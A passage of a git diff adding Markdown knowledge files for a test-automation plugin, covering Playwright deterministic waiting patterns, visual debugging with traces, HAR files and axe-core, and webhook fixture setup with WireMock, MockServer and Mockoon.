+    // Wait for loading indicator to appear (confirms load started)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'visible' });
+
+    // Wait for loading indicator to disappear (confirms load complete)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+    // Content now reliably visible
+    await expect(page.getByTestId('dashboard-data')).toBeVisible();
+  });
+
+  test('✅ Pattern: Explicit visibility check (not just presence)', async ({ page }) => {
+    await page.goto('/modal-demo');
+
+    await page.getByRole('button', { name: 'Open Modal' }).click();
+
+    // ❌ Bad: Element exists but may not be visible yet
+    // await expect(page.getByTestId('modal')).toBeAttached()
+
+    // ✅ Good: Wait for visibility (accounts for animations)
+    await expect(page.getByTestId('modal')).toBeVisible();
+    await expect(page.getByRole('heading', { name: 'Modal Title' })).toBeVisible();
+  });
+
+  test('❌ Anti-Pattern: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ⚠️ Deprecated for SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // May timeout in SPAs
+
+    // ✅ Better: Wait for specific API response
+    const responsePromise = page.waitForResponse('**/api/dashboard');
+    await page.goto('/dashboard');
+    await responsePromise;
+
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Network-first: ALWAYS intercept before navigate (prevents race conditions)
+- State changes: Wait for loading spinner detached (explicit load completion)
+- Visibility vs presence: `toBeVisible()` accounts for animations, `toBeAttached()` doesn't
+- Avoid networkidle: Unreliable in SPAs (WebSocket, polling connections)
+- Explicit waits: Document exactly what we're waiting for
+
+---
+
+### Example 2: Deterministic Waiting Patterns (Event-Based, Not Time-Based)
+
+**Context**: Replace all hard waits with observable event waits
+
+**Implementation**:
+
+```typescript
+// tests/timing/deterministic-waits.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Deterministic Waiting Patterns', () => {
+  test('waitForResponse() with URL pattern', async ({ page }) => {
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products');
+    await responsePromise; // Deterministic (waits for exact API call)
+
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+
+  test('waitForResponse() with predicate function', async ({ page }) => {
+    const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/search') && resp.status() === 200);
+
+    await page.goto('/search');
+    await page.getByPlaceholder('Search').fill('laptop');
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    await responsePromise; // Wait for successful search response
+
+    await expect(page.getByTestId('search-results')).toBeVisible();
+  });
+
+  test('waitForFunction() for custom conditions', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for custom JavaScript condition
+    await page.waitForFunction(() => {
+      const element = document.querySelector('[data-testid="user-count"]');
+      return element && parseInt(element.textContent || '0') > 0;
+    });
+
+    // User count now loaded
+    await expect(page.getByTestId('user-count')).not.toHaveText('0');
+  });
+
+  test('waitFor() element state (attached, visible, hidden, detached)', async ({ page }) => {
+    await page.goto('/products');
+
+    // Wait for element to be attached to DOM
+    await page.getByTestId('product-list').waitFor({ state: 'attached' });
+
+    // Wait for element to be visible (animations complete)
+    await page.getByTestId('product-list').waitFor({ state: 'visible' });
+
+    // Perform action
+    await page.getByText('Product A').click();
+
+    // Wait for modal to be hidden (close animation complete)
+    await page.getByTestId('modal').waitFor({ state: 'hidden' });
+  });
+
+  test('Cypress: cy.wait() with aliased intercepts', async () => {
+    // Cypress example (not Playwright)
+    /*
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic wait for specific request
+
+    cy.get('[data-testid="product-list"]').should('be.visible')
+    */
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()`: Wait for specific API calls (URL pattern or predicate)
+- `waitForFunction()`: Wait for custom JavaScript conditions
+- `waitFor({ state })`: Wait for element state changes (attached, visible, hidden, detached)
+- Cypress `cy.wait('@alias')`: Deterministic wait for aliased intercepts
+- All waits are event-based (not time-based)
+
+---
+
+### Example 3: Timing Anti-Patterns (What NEVER to Do)
+
+**Context**: Common timing mistakes that cause flakiness
+
+**Problem Examples**:
+
+```typescript
+// tests/timing/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Timing Anti-Patterns to Avoid', () => {
+  test('❌ NEVER: page.waitForTimeout() (arbitrary delay)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Arbitrary 3-second wait (flaky)
+    // await page.waitForTimeout(3000)
+    // Problem: Might be too short (CI slower) or too long (wastes time)
+
+    // ✅ Good: Wait for observable event
+    await page.waitForResponse('**/api/dashboard');
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+
+  test('❌ NEVER: cy.wait(number) without alias (arbitrary delay)', async () => {
+    // Cypress example
+    /*
+    // ❌ Bad: Arbitrary delay
+    cy.visit('/products')
+    cy.wait(2000) // Flaky!
+
+    // ✅ Good: Wait for specific request
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic
+    */
+  });
+
+  test('❌ NEVER: Multiple hard waits in sequence (compounding delays)', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Bad: Stacked hard waits (6+ seconds wasted)
+    // await page.waitForTimeout(2000) // Wait for form
+    // await page.getByTestId('email').fill('test@example.com')
+    // await page.waitForTimeout(1000) // Wait for validation
+    // await page.getByTestId('submit').click()
+    // await page.waitForTimeout(3000) // Wait for redirect
+
+    // ✅ Good: Event-based waits (no wasted time)
+    await page.getByTestId('checkout-form').waitFor({ state: 'visible' });
+    await page.getByTestId('email').fill('test@example.com');
+    await page.waitForResponse('**/api/validate-email');
+    await page.getByTestId('submit').click();
+    await page.waitForURL('**/confirmation');
+  });
+
+  test('❌ NEVER: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ❌ Bad: Unreliable in SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // Timeout in SPAs!
+
+    // ✅ Good: Wait for specific API responses
+    await page.goto('/dashboard');
+    await page.waitForResponse('**/api/dashboard');
+    await page.waitForResponse('**/api/user');
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+  });
+
+  test('❌ NEVER: Sleep/setTimeout in tests', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Node.js sleep (blocks test thread)
+    // await new Promise(resolve => setTimeout(resolve, 2000))
+
+    // ✅ Good: Playwright auto-waits for element
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **Hard waits**: Arbitrary timeouts (too short → flaky, too long → slow)
+- **Stacked waits**: Compound delays (wasteful, unreliable)
+- **networkidle**: Broken in SPAs (WebSocket/polling never idle)
+- **Sleep**: Blocks execution (wastes time, doesn't solve race conditions)
+
+**Better Approach**: Use event-based waits from examples above
+
+---
+
+## Async Debugging Techniques
+
+### Technique 1: Promise Chain Analysis
+
+```typescript
+test('debug async waterfall with console logs', async ({ page }) => {
+  console.log('1. Starting navigation...');
+  await page.goto('/products');
+
+  console.log('2. Waiting for API response...');
+  const response = await page.waitForResponse('**/api/products');
+  console.log('3. API responded:', response.status());
+
+  console.log('4. Waiting for UI update...');
+  await expect(page.getByText('Products loaded')).toBeVisible();
+  console.log('5. Test complete');
+
+  // Console output shows exactly where timing issue occurs
+});
+```
+
+### Technique 2: Network Waterfall Inspection (DevTools)
+
+```typescript
+test('inspect network timing with trace viewer', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Generate trace for analysis
+  // npx playwright test --trace on
+  // npx playwright show-trace trace.zip
+
+  // In trace viewer:
+  // 1. Check Network tab for API call timing
+  // 2. Identify slow requests (>1s response time)
+  // 3. Find race conditions (overlapping requests)
+  // 4. Verify request order (dependencies)
+});
+```
+
+### Technique 3: Trace Viewer for Timing Visualization
+
+```typescript
+test('use trace viewer to debug timing', async ({ page }) => {
+  // Run with trace: npx playwright test --trace on
+
+  await page.goto('/checkout');
+  await page.getByTestId('submit').click();
+
+  // In trace viewer, examine:
+  // - Timeline: See exact timing of each action
+  // - Snapshots: Hover to see DOM state at each moment
+  // - Network: Identify slow/failed requests
+  // - Console: Check for async errors
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+---
+
+## Race Condition Checklist
+
+Before deploying tests:
+
+- [ ] **Network-first pattern**: All routes intercepted BEFORE navigation (no race conditions)
+- [ ] **Explicit waits**: Every navigation followed by `waitForResponse()` or state check
+- [ ] **No hard waits**: Zero instances of `waitForTimeout()`, `cy.wait(number)`, `sleep()`
+- [ ] **Element state waits**: Loading spinners use `waitFor({ state: 'detached' })`
+- [ ] **Visibility checks**: Use `toBeVisible()` (accounts for animations), not just `toBeAttached()`
+- [ ] **Response validation**: Wait for successful responses (`resp.ok()` or `status === 200`)
+- [ ] **Trace viewer analysis**: Generate traces to identify timing issues (network waterfall, console errors)
+- [ ] **CI/local parity**: Tests pass reliably in both environments (no timing assumptions)
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (healing timing failures), `*test-review` (detect hard wait anti-patterns), `*framework` (configure timeout standards)
+- **Related fragments**: `test-healing-patterns.md` (race condition diagnosis), `network-first.md` (interception patterns), `playwright-config.md` (timeout configuration), `visual-debugging.md` (trace viewer analysis)
+- **Tools**: Playwright Inspector (`--debug`), Trace Viewer (`--trace on`), DevTools Network tab
+
+_Source: Playwright timing best practices, network-first pattern from test-resources-for-ai, production race condition debugging_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/visual-debugging.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/visual-debugging.md
new file mode 100644
index 0000000..710ec46
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/visual-debugging.md
@@ -0,0 +1,527 @@
+# Visual Debugging and Developer Ergonomics
+
+## Principle
+
+Fast feedback loops and transparent debugging artifacts are critical for maintaining test reliability and developer confidence. Visual debugging tools (trace viewers, screenshots, videos, HAR files) turn cryptic test failures into actionable insights, reducing triage time from hours to minutes.
+
+## Rationale
+
+**The Problem**: CI failures often provide minimal context—a timeout, a selector mismatch, or a network error—forcing developers to reproduce issues locally (if they can). This wastes time and discourages test maintenance.
+
+**The Solution**: Capture rich debugging artifacts **only on failure** to balance storage costs with diagnostic value. Modern tools like Playwright Trace Viewer, Cypress Debug UI, and HAR recordings provide interactive, time-travel debugging that reveals exactly what the test saw at each step.
+
+**Why This Matters**:
+
+- Reduces failure triage time by 80-90% (visual context vs logs alone)
+- Enables debugging without local reproduction
+- Improves test maintenance confidence (clear failure root cause)
+- Catches timing/race conditions that are hard to reproduce locally
+
+## Pattern Examples
+
+### Example 1: Playwright Trace Viewer Configuration (Production Pattern)
+
+**Context**: Capture traces for failures and retries so flaky runs can be compared directly. Prefer `retain-on-failure-and-retries` as the default policy so failed retries can be compared with passing runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  use: {
+    // Visual debugging artifacts (best signal for flaky triage)
+    trace: 'retain-on-failure-and-retries', // Keep every failed attempt
+    screenshot: 'only-on-failure', // Not on success
+    video: 'retain-on-failure', // Delete on pass
+
+    // Context for debugging
+    baseURL: process.env.BASE_URL || 'http://localhost:3000',
+
+    // Timeout context
+    actionTimeout: 15_000, // 15s for clicks/fills
+    navigationTimeout: 30_000, // 30s for page loads
+  },
+
+  // CI-specific artifact retention
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'results.xml' }],
+    ['list'], // Console output
+  ],
+
+  // Failure handling
+  retries: process.env.CI ? 2 : 0, // Retry in CI to capture trace
+  workers: process.env.CI ? 1 : undefined,
+});
+```
+
+**Opening and Using Trace Viewer**:
+
+```bash
+# After test failure in CI, download trace artifact
+# Then inspect locally:
+npx playwright trace open path/to/trace.zip
+
+# Filter to the failing expectation or action from the terminal
+npx playwright trace actions path/to/trace.zip --grep="expect"
+npx playwright trace action path/to/trace.zip 9
+npx playwright trace snapshot path/to/trace.zip 9 --name after
+
+# Or serve trace viewer:
+npx playwright show-report
+```
+
+**Key Features to Use in Trace Viewer**:
+
+1. **Timeline**: See each action (click, navigate, assertion) with timing
+2. **Snapshots**: Hover over timeline to see DOM state at that moment
+3. **Network Tab**: Inspect all API calls, headers, payloads, timing
+4. **Console Tab**: View console.log/error messages
+5. **Source Tab**: See test code with execution markers
+6. **Metadata**: Browser, OS, test duration, screenshots
+
+**Why This Works**:
+
+- `retain-on-failure-and-retries` preserves enough history to compare the failing retry with a passing run
+- Screenshots + video give visual context without trace overhead
+- Interactive timeline makes timing issues obvious (race conditions, slow API)
+
+---
+
+### Example 2: HAR File Recording for Network Debugging
+
+**Context**: Capture all network activity for reproducible API debugging
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-with-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test.describe('Checkout Flow with HAR Recording', () => {
+  test('should complete payment with full network capture', async ({ page, context }) => {
+    // Start HAR recording BEFORE navigation
+    await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+      url: '**/api/**', // Only capture API calls
+      update: true, // Update HAR if file exists
+    });
+
+    await page.goto('/checkout');
+
+    // Interact with page
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    // Wait for payment confirmation
+    await expect(page.getByTestId('success-message')).toBeVisible();
+
+    // HAR file saved to fixtures/checkout.har
+    // Contains all network requests/responses for replay
+  });
+});
+```
+
+**Using HAR for Deterministic Mocking**:
+
+```typescript
+// tests/e2e/checkout-replay-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test('should replay checkout flow from HAR', async ({ page, context }) => {
+  // Replay network from HAR (no real API calls)
+  await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  await page.goto('/checkout');
+
+  // Same test, but network responses come from HAR file
+  await page.getByTestId('payment-method').selectOption('credit-card');
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- **`update: true`** records new HAR or updates existing (for flaky API debugging)
+- **`update: false`** replays from HAR (deterministic, no real API)
+- Filter by URL pattern (`**/api/**`) to avoid capturing static assets
+- HAR files are human-readable JSON (easy to inspect/modify)
+
+**When to Use HAR**:
+
+- Debugging flaky tests caused by API timing/responses
+- Creating deterministic mocks for integration tests
+- Analyzing third-party API behavior (Stripe, Auth0)
+- Reproducing production issues locally (record HAR in staging)
+
+---
+
+### Example 3: Custom Artifact Capture (Console Logs + Network on Failure)
+
+**Context**: Capture additional debugging context automatically on test failure
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/debug-fixture.ts
+import { test as base, type Request } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+type DebugFixture = {
+  captureDebugArtifacts: () => Promise<void>;
+};
+
+export const test = base.extend<DebugFixture>({
+  captureDebugArtifacts: async ({ page }, use, testInfo) => {
+    await use(async () => {
+      // This function can be called manually in tests
+      // But it also runs automatically on failure via afterEach
+    });
+
+    // After test completes, save artifacts if failed
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const artifactDir = path.join(testInfo.outputDir, 'debug-artifacts');
+      fs.mkdirSync(artifactDir, { recursive: true });
+
+      const consoleLogs = (await page.consoleMessages()).map((msg) => `[${msg.type()} @ ${msg.timestamp().toISOString()}] ${msg.text()}`);
+      const pageErrors = (await page.pageErrors()).map((error) => ({
+        name: error.name,
+        message: error.message,
+        stack: error.stack,
+      }));
+      const networkRequests = await Promise.all(
+        (await page.requests()).map(async (request: Request) => {
+          const response = await request.response();
+          return {
+            url: request.url(),
+            method: request.method(),
+            status: response?.status() ?? 0,
+          };
+        }),
+      );
+
+      // Save console logs
+      fs.writeFileSync(path.join(artifactDir, 'console.log'), consoleLogs.join('\n'), 'utf-8');
+
+      // Save page errors
+      fs.writeFileSync(path.join(artifactDir, 'page-errors.json'), JSON.stringify(pageErrors, null, 2), 'utf-8');
+
+      // Save network summary
+      fs.writeFileSync(path.join(artifactDir, 'network.json'), JSON.stringify(networkRequests, null, 2), 'utf-8');
+
+      console.log(`Debug artifacts saved to: ${artifactDir}`);
+    }
+  },
+});
+```
+
+**Usage in Tests**:
+
+```typescript
+// tests/e2e/payment-with-debug.spec.ts
+import { test, expect } from '../support/fixtures/debug-fixture';
+
+test('payment flow captures debug artifacts on failure', async ({ page, captureDebugArtifacts }) => {
+  await page.goto('/checkout');
+
+  // Test will automatically capture console + network on failure
+  await page.getByTestId('submit-payment').click();
+  await expect(page.getByTestId('success-message')).toBeVisible({ timeout: 5000 });
+
+  // If this fails, console.log and network.json saved automatically
+});
+```
+
+**CI Integration (GitHub Actions)**:
+
+```yaml
+# .github/workflows/e2e.yml
+name: E2E Tests with Artifacts
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run Playwright tests
+        run: npm run test:e2e
+        continue-on-error: true # Capture artifacts even on failure
+
+      - name: Upload test artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-artifacts
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+```
+
+**Key Points**:
+
+- Fixtures automatically capture context without polluting test code
+- Only saves artifacts on failure (storage-efficient)
+- CI uploads artifacts for post-mortem analysis
+- `continue-on-error: true` ensures artifact upload even when tests fail
+
+---
+
+### Example 4: Accessibility Debugging Integration (axe-core in Trace Viewer)
+
+**Context**: Catch accessibility regressions during visual debugging
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/a11y-fixture.ts
+import { test as base } from '@playwright/test';
+import AxeBuilder from '@axe-core/playwright';
+
+type A11yFixture = {
+  checkA11y: () => Promise<void>;
+};
+
+export const test = base.extend<A11yFixture>({
+  checkA11y: async ({ page }, use) => {
+    await use(async () => {
+      // Run axe accessibility scan
+      const results = await new AxeBuilder({ page }).analyze();
+
+      // Attach results to test report (visible in trace viewer)
+      if (results.violations.length > 0) {
+        console.log(`Found ${results.violations.length} accessibility violations:`);
+        results.violations.forEach((violation) => {
+          console.log(`- [${violation.impact}] ${violation.id}: ${violation.description}`);
+          console.log(`  Help: ${violation.helpUrl}`);
+        });
+
+        throw new Error(`Accessibility violations found: ${results.violations.length}`);
+      }
+    });
+  },
+});
+```
+
+**Usage with Visual Debugging**:
+
+```typescript
+// tests/e2e/checkout-a11y.spec.ts
+import { test, expect } from '../support/fixtures/a11y-fixture';
+
+test('checkout page is accessible', async ({ page, checkA11y }) => {
+  await page.goto('/checkout');
+
+  // Verify page loaded
+  await expect(page.getByRole('heading', { name: 'Checkout' })).toBeVisible();
+
+  // Run accessibility check
+  await checkA11y();
+
+  // If violations found, test fails and trace captures:
+  // - Screenshot showing the problematic element
+  // - Console log with violation details
+  // - Network tab showing any failed resource loads
+});
+```
+
+**Trace Viewer Benefits**:
+
+- **Screenshot shows visual context** of accessibility issue (contrast, missing labels)
+- **Console tab shows axe-core violations** with impact level and helpUrl
+- **DOM snapshot** allows inspecting ARIA attributes at failure point
+- **Network tab** reveals if icon fonts or images failed (common a11y issue)
+
+**Cypress Equivalent**:
+
+```javascript
+// cypress/support/commands.ts
+import 'cypress-axe';
+
+Cypress.Commands.add('checkA11y', (context = null, options = {}) => {
+  cy.injectAxe(); // Inject axe-core
+  cy.checkA11y(context, options, (violations) => {
+    if (violations.length) {
+      cy.task('log', `Found ${violations.length} accessibility violations`);
+      violations.forEach((violation) => {
+        cy.task('log', `- [${violation.impact}] ${violation.id}: ${violation.description}`);
+      });
+    }
+  });
+});
+
+// tests/e2e/checkout-a11y.cy.ts
+describe('Checkout Accessibility', () => {
+  it('should have no a11y violations', () => {
+    cy.visit('/checkout');
+    cy.injectAxe();
+    cy.checkA11y();
+    // On failure, Cypress UI shows:
+    // - Screenshot of page
+    // - Console log with violation details
+    // - Network tab with API calls
+  });
+});
+```
+
+**Key Points**:
+
+- Accessibility checks integrate seamlessly with visual debugging
+- Violations are captured in trace viewer/Cypress UI automatically
+- Provides actionable links (helpUrl) to fix issues
+- Screenshots show visual context (contrast, layout)
+
+---
+
+### Example 5: Time-Travel Debugging Workflow (Playwright Inspector)
+
+**Context**: Debug tests interactively with step-through execution
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-debug.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('debug checkout flow step-by-step', async ({ page }) => {
+  // Set breakpoint by uncommenting this:
+  // await page.pause()
+
+  await page.goto('/checkout');
+
+  // Use Playwright Inspector to:
+  // 1. Step through each action
+  // 2. Inspect DOM at each step
+  // 3. View network calls per action
+  // 4. Take screenshots manually
+
+  await page.getByTestId('payment-method').selectOption('credit-card');
+
+  // Pause here to inspect form state
+  // await page.pause()
+
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Running with Inspector**:
+
+```bash
+# Open Playwright Inspector (GUI debugger)
+npx playwright test --debug
+
+# Or use headed mode with slowMo
+npx playwright test --headed --slow-mo=1000
+
+# Debug specific test
+npx playwright test checkout-debug.spec.ts --debug
+
+# Set environment variable for persistent debugging
+PWDEBUG=1 npx playwright test
+```
+
+**Inspector Features**:
+
+1. **Step-through execution**: Click "Next" to execute one action at a time
+2. **DOM inspector**: Hover over elements to see selectors
+3. **Network panel**: See API calls with timing
+4. **Console panel**: View console.log output
+5. **Pick locator**: Click element in browser to get selector
+6. **Record mode**: Record interactions to generate test code
+
+**Common Debugging Patterns**:
+
+```typescript
+// Pattern 1: Debug selector issues
+test('debug selector', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.pause(); // Inspector opens
+
+  // In Inspector console, test selectors:
+  // page.getByTestId('user-menu') ✅
+  // page.getByRole('button', { name: 'Profile' }) ✅
+  // page.locator('.btn-primary') ❌ (fragile)
+});
+
+// Pattern 2: Debug timing issues
+test('debug network timing', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Set up network listener BEFORE interaction
+  const responsePromise = page.waitForResponse('**/api/users');
+  await page.getByTestId('load-users').click();
+
+  await page.pause(); // Check network panel for timing
+
+  const response = await responsePromise;
+  expect(response.status()).toBe(200);
+});
+
+// Pattern 3: Debug state changes
+test('debug state mutation', async ({ page }) => {
+  await page.goto('/cart');
+
+  // Check initial state
+  await expect(page.getByTestId('cart-count')).toHaveText('0');
+
+  await page.pause(); // Inspect DOM
+
+  await page.getByTestId('add-to-cart').click();
+
+  await page.pause(); // Inspect DOM again (compare state)
+
+  await expect(page.getByTestId('cart-count')).toHaveText('1');
+});
+```
+
+**Key Points**:
+
+- `page.pause()` opens Inspector at that exact moment
+- Inspector shows DOM state, network activity, console at pause point
+- "Pick locator" feature helps find robust selectors
+- Record mode generates test code from manual interactions
+
+---
+
+## Visual Debugging Checklist
+
+Before deploying tests to CI, ensure:
+
+- [ ] **Artifact configuration**: `trace: 'retain-on-failure-and-retries'`, `screenshot: 'only-on-failure'`, `video: 'retain-on-failure'`
+- [ ] **CI artifact upload**: GitHub Actions/GitLab CI configured to upload `test-results/` and `playwright-report/`
+- [ ] **HAR recording**: Set up for flaky API tests (record once, replay deterministically)
+- [ ] **Custom debug fixtures**: Console logs + network summary captured on failure
+- [ ] **Accessibility integration**: axe-core violations visible in trace viewer
+- [ ] **Trace viewer docs**: README explains how to open traces locally (`npx playwright trace open`)
+- [ ] **Inspector workflow**: Document `--debug` flag for interactive debugging
+- [ ] **Storage optimization**: Artifacts deleted after 30 days (CI retention policy)
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (initial setup), `*ci` (artifact upload), `*test-review` (validate artifact config)
+- **Related fragments**: `playwright-config.md` (artifact configuration), `ci-burn-in.md` (CI artifact upload), `test-quality.md` (debugging best practices)
+- **Tools**: Playwright Trace Viewer, Cypress Debug UI, axe-core, HAR files
+
+_Source: Playwright official docs, Murat testing philosophy (visual debugging manifesto), enterprise production debugging patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-module-setup.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-module-setup.md
new file mode 100644
index 0000000..9835986
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-module-setup.md
@@ -0,0 +1,122 @@
+# Webhook Module Setup
+
+## Principle
+
+Wire the provider once in a central fixtures file using the `webhookProviderFixture + webhookFixture + mergeTests` pattern. Tests that request `webhookRegistry` get automatic setup and teardown; tests that don't pay nothing (Playwright lazy fixture evaluation).
+
+## Fixture Wiring Pattern
+
+### WireMock Provider (recommended for most setups)
+
+The WireMock provider works with any backend that implements the `/__admin/requests` API format — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as webhookFixture } from '@seontechnologies/playwright-utils/webhook/fixtures';
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+// Lazy-initialized by Playwright — no cost for tests that don't request webhookRegistry.
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+
+const test = mergeTests(
+  base,
+  // ...your other fixtures...
+  webhookFixture,
+  webhookProviderFixture,
+);
+
+// Use matched-only cleanup project-wide: each test only deletes the webhooks it
+// matched, so a parallel worker's teardown cannot wipe the shared journal while
+// another test is still mid-flight (fullyParallel: true race condition).
+test.use({ webhookConfig: { cleanupStrategy: 'matched-only' } });
+
+export { test };
+```
+
+This is the exact pattern used in the playwright-utils E2E suite (`playwright/support/merged-fixtures.ts`).
+
+### MockServer Provider
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+### Mockoon Provider
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## Cleanup Strategy Decision
+
+| Strategy                 | Behaviour                                                                            | When to choose                                                                                                       |
+| ------------------------ | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------- |
+| `'full-reset'` (default) | Calls `provider.resetJournal()` — wipes the entire mock server journal               | Safe only for serial execution or when each worker has an isolated provider instance                                 |
+| `'matched-only'`         | Calls `provider.deleteById(id)` for each webhook matched by `waitFor`/`waitForCount` | Required for `fullyParallel: true` with a shared journal **when the provider supports `deleteById`** (e.g. WireMock) |
+
+**The race condition under `fullyParallel: true`**: Worker A finishes and calls `resetJournal()`. Worker B is mid-poll waiting for its webhook. Worker A's reset just deleted Worker B's webhook — the poll times out with `WebhookTimeoutError`. Use `matched-only` to avoid this — but only when the provider supports `deleteById`.
+
+**MockServer and Mockoon limitation**: Neither supports `deleteById` — their implementations are no-ops. The `startedAt` timestamp filter isolates _reads_ inside `waitFor`/`waitForCount`, but `cleanup()` with `full-reset` still calls `resetJournal()`, which wipes the entire journal. This means the teardown race exists for these providers too under `fullyParallel: true`. For parallel suites with MockServer or Mockoon, either run serially (`workers: 1`) or provision an isolated mock server instance per worker.
+
+## Fixture Lifecycle
+
+The fixture calls these in order:
+
+1. `provider.setup?.()` — optional health check or stub registration
+2. Tests run with `webhookRegistry` available
+3. `registry.cleanup()` — deletes matched webhooks (`matched-only`) or resets journal (`full-reset`)
+4. `provider.teardown?.()` — optional resource cleanup
+
+Both cleanup and teardown failures are caught and logged as warnings — they don't mask actual test failures.
+
+## WebhookRegistryConfig Options
+
+```typescript
+type WebhookRegistryConfig = {
+  defaultTimeout?: number; // default: 30000 ms
+  defaultInterval?: number; // default: 1000 ms
+  cleanupStrategy?: 'matched-only' | 'full-reset'; // default: 'full-reset'
+};
+```
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-template-matchers.md` — Template building and matcher patterns
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider details
+- `fixtures-composition.md` — mergeTests pattern
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-providers.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-providers.md
new file mode 100644
index 0000000..15eac70
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-providers.md
@@ -0,0 +1,155 @@
+# Webhook Provider Patterns
